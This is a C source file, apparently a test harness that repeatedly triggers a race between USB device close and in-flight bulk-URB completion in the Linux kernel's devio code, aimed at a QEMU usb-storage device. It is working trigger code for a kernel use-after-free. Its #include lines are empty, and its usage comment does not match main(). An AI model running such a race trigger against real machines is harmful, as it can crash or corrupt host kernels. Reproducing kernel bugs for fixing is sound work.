// SPDX-License-Identifier: GPL-2.0 /* * usbdevrace.c - userspace hammer for the devio Case-3 race * (usbdev_release vs in-flight async_completed / cancel_bulk_urbs). * * Per round (fresh open every round, so close() runs usbdev_release()): * open /dev/bus/usb/B/D * disconnect kernel driver (usb-storage, CONFIG_USB_STORAGE=y binds it) * claim interface 0 * CLEAR_HALT the bulk-out endpoint (clears previous round's STALL) * submit B0: bulk OUT, 31 bytes of garbage CBW (bad signature), flags=0 * -> QEMU usb-storage STALLs bulk-out -> URB completes -EPIPE * submit B1: bulk OUT, 31 bytes, flags = USBDEVFS_URB_BULK_CONTINUATION * (mode=ctl: flags=0, negative control, no continuation -> * cancel_bulk_urbs marks nothing, window never opens) * usleep(close_delay_us) * close(fd) -> usbdev_release() races the in-flight callback * * B0's error completion makes async_completed() call cancel_bulk_urbs(), * which marks B1 (AS_CONTINUATION) and enters the drop-lock window * (spin_unlock -> usb_unlink_urb(B1) -> spin_lock). The close() thread * must reach kfree(ps) before the callback re-locks; the controlled mode * enlarges the window with the usbdev_stall.ko kprobe. * * Usage: usbdevrace [rounds] [close_delay_us] [verbose_every] */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #define EP_BULK(e) (((e)->bmAttributes & 0x3) == 0x2) #define EP_OUT(e) ((((e)->bEndpointAddress) & 0x80) == 0) #define le16_to_h(v) ((v)) /* little-endian host */ static int find_usbdev(char *path, size_t pathsz) { const char *sysdir = "/sys/bus/usb/devices"; DIR *d = opendir(sysdir); struct dirent *de; char f[512]; int busnum, devnum; FILE *fp; if (!d) return -1; while ((de = readdir(d))) { int vid = 0, pid = 0; if (de->d_name[0] == '.') continue; snprintf(f, sizeof(f), "%s/%s/idVendor", sysdir, de->d_name); fp = fopen(f, "r"); if (!fp) continue; if (fscanf(fp, "%x", &vid) != 1) vid = 0; fclose(fp); if (vid != 0x46f4) /* QEMU vendor id */ continue; snprintf(f, sizeof(f), "%s/%s/idProduct", sysdir, de->d_name); fp = fopen(f, "r"); if (fp) { if (fscanf(fp, "%x", &pid) != 1) pid = 0; fclose(fp); } snprintf(f, sizeof(f), "%s/%s/busnum", sysdir, de->d_name); fp = fopen(f, "r"); if (!fp || fscanf(fp, "%d", &busnum) != 1) { if (fp) fclose(fp); continue; } fclose(fp); snprintf(f, sizeof(f), "%s/%s/devnum", sysdir, de->d_name); fp = fopen(f, "r"); if (!fp || fscanf(fp, "%d", &devnum) != 1) { if (fp) fclose(fp); continue; } fclose(fp); snprintf(path, pathsz, "/dev/bus/usb/%03d/%03d", busnum, devnum); closedir(d); fprintf(stderr, "USBDEVRACE: found qemu device %s (idProduct=%04x)\n", path, pid); return 0; } closedir(d); return -1; } /* usbdev_read() returns the device descriptor at offset 0..18 and the * raw config descriptor chains (current config first) from offset 18 on. */ static int get_bulk_out(int fd) { static unsigned char buf[4096]; struct usb_config_descriptor *cd = (void *)(buf + 18); unsigned int off, total, cfglen; struct usb_descriptor_header *h; int ifnum_cur = -1; ssize_t n; n = pread(fd, buf, sizeof(buf), 0); if (n < 19) { fprintf(stderr, "USBDEVRACE: read descriptors failed (%zd)\n", n); return -1; } cfglen = le16_to_h(cd->wTotalLength); total = 18 + cfglen; if (total > (unsigned)n) total = n; fprintf(stderr, "USBDEVRACE: read %zd bytes, config wTotalLength=%u bNumInterfaces=%u\n", n, cfglen, cd->bNumInterfaces); for (off = 18; off + 2 <= total; off += h->bLength) { h = (void *)(buf + off); if (h->bLength < 2 || off + h->bLength > total) break; if (h->bDescriptorType == USB_DT_INTERFACE) { struct usb_interface_descriptor *i = (void *)h; ifnum_cur = i->bInterfaceNumber; } else if (h->bDescriptorType == USB_DT_ENDPOINT && ifnum_cur == 0) { struct usb_endpoint_descriptor *e = (void *)h; if (EP_BULK(e) && EP_OUT(e)) { fprintf(stderr, "USBDEVRACE: bulk-out ep 0x%02x\n", e->bEndpointAddress); return e->bEndpointAddress; } } } return -1; } static unsigned char badcbw[31]; /* errchk: submit one garbage-CBW bulk OUT URB and reap it, printing the * completion status. Expected: -EPIPE (-32) because QEMU's mass-storage * STALLs bulk-out on a bad CBW signature. This proves the error path that * drives async_completed() into cancel_bulk_urbs(). */ static int errchk(const char *path, int ep) { struct usbdevfs_urb *reaped = NULL, u0; unsigned int ifno = 0, epp = ep; struct usbdevfs_ioctl dis = { .ifno = 0, .ioctl_code = USBDEVFS_DISCONNECT, .data = NULL, }; int fd, i, rc; fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return 2; } ioctl(fd, USBDEVFS_IOCTL, &dis); rc = ioctl(fd, USBDEVFS_CLAIMINTERFACE, &ifno); fprintf(stderr, "USBDEVRACE: errchk claim rc=%d\n", rc); if (rc < 0) { close(fd); return 2; } ioctl(fd, USBDEVFS_CLEAR_HALT, &epp); memset(&u0, 0, sizeof(u0)); u0.type = USBDEVFS_URB_TYPE_BULK; u0.endpoint = ep; u0.flags = 0; u0.buffer = badcbw; u0.buffer_length = sizeof(badcbw); rc = ioctl(fd, USBDEVFS_SUBMITURB, &u0); fprintf(stderr, "USBDEVRACE: errchk submit rc=%d errno=%d\n", rc, errno); if (rc) { close(fd); return 2; } for (i = 0; i < 100; i++) { reaped = NULL; rc = ioctl(fd, USBDEVFS_REAPURBNDELAY, &reaped); if (rc == 0 && reaped == &u0) { fprintf(stderr, "USBDEVRACE: errchk B0 status=%d actual=%d (want -32 EPIPE)\n", u0.status, u0.actual_length); close(fd); return u0.status == -32 ? 0 : 1; } usleep(10000); } fprintf(stderr, "USBDEVRACE: errchk reap timeout rc=%d errno=%d\n", rc, errno); close(fd); return 1; } int main(int argc, char **argv) { const char *mode = argc > 1 ? argv[1] : "nat"; int rounds = argc > 2 ? atoi(argv[2]) : 2000; int delay_us = argc > 3 ? atoi(argv[3]) : 300; int vevery = argc > 4 ? atoi(argv[4]) : 100; char path[128]; int fd, ep, i, rc; int ok = 0, fail = 0; int cont = strcmp(mode, "ctl") != 0; /* nat => continuation on */ /* garbage CBW: 31 bytes, signature != 'USBC' */ memset(badcbw, 0x5a, sizeof(badcbw)); for (i = 0; i < 300; i++) { if (find_usbdev(path, sizeof(path)) == 0) break; usleep(100000); } if (i == 300) { fprintf(stderr, "USBDEVRACE: no qemu usb device found\n"); return 2; } if (!strcmp(mode, "errchk")) { fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return 2; } ep = get_bulk_out(fd); close(fd); if (ep < 0) return 2; return errchk(path, ep); } fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return 2; } ep = get_bulk_out(fd); close(fd); if (ep < 0) { fprintf(stderr, "USBDEVRACE: no bulk-out endpoint\n"); return 2; } for (i = 0; i < rounds; i++) { struct usbdevfs_urb u0, u1; unsigned int epp = ep; unsigned int ifno = 0; struct usbdevfs_ioctl dis = { .ifno = 0, .ioctl_code = USBDEVFS_DISCONNECT, .data = NULL, }; fd = open(path, O_RDWR); if (fd < 0) { fail++; continue; } ioctl(fd, USBDEVFS_IOCTL, &dis); /* detach usb-storage */ if (ioctl(fd, USBDEVFS_CLAIMINTERFACE, &ifno) < 0) { ioctl(fd, USBDEVFS_IOCTL, &dis); if (ioctl(fd, USBDEVFS_CLAIMINTERFACE, &ifno) < 0) { fail++; close(fd); continue; } } ioctl(fd, USBDEVFS_CLEAR_HALT, &epp); /* clear prev stall */ memset(&u0, 0, sizeof(u0)); u0.type = USBDEVFS_URB_TYPE_BULK; u0.endpoint = ep; u0.flags = 0; u0.buffer = badcbw; u0.buffer_length = sizeof(badcbw); rc = ioctl(fd, USBDEVFS_SUBMITURB, &u0); if (rc == 0) { memset(&u1, 0, sizeof(u1)); u1.type = USBDEVFS_URB_TYPE_BULK; u1.endpoint = ep; u1.flags = cont ? USBDEVFS_URB_BULK_CONTINUATION : 0; u1.buffer = badcbw; u1.buffer_length = sizeof(badcbw); rc = ioctl(fd, USBDEVFS_SUBMITURB, &u1); } if (rc == 0) ok++; else fail++; if (delay_us > 0) usleep(delay_us); close(fd); if (vevery && ((i + 1) % vevery == 0)) fprintf(stderr, "USBDEVRACE: mode=%s round %d/%d ok=%d fail=%d\n", mode, i + 1, rounds, ok, fail); } fprintf(stderr, "USBDEVRACE: DONE mode=%s rounds=%d ok=%d fail=%d\n", mode, rounds, ok, fail); return ok ? 0 : 1; }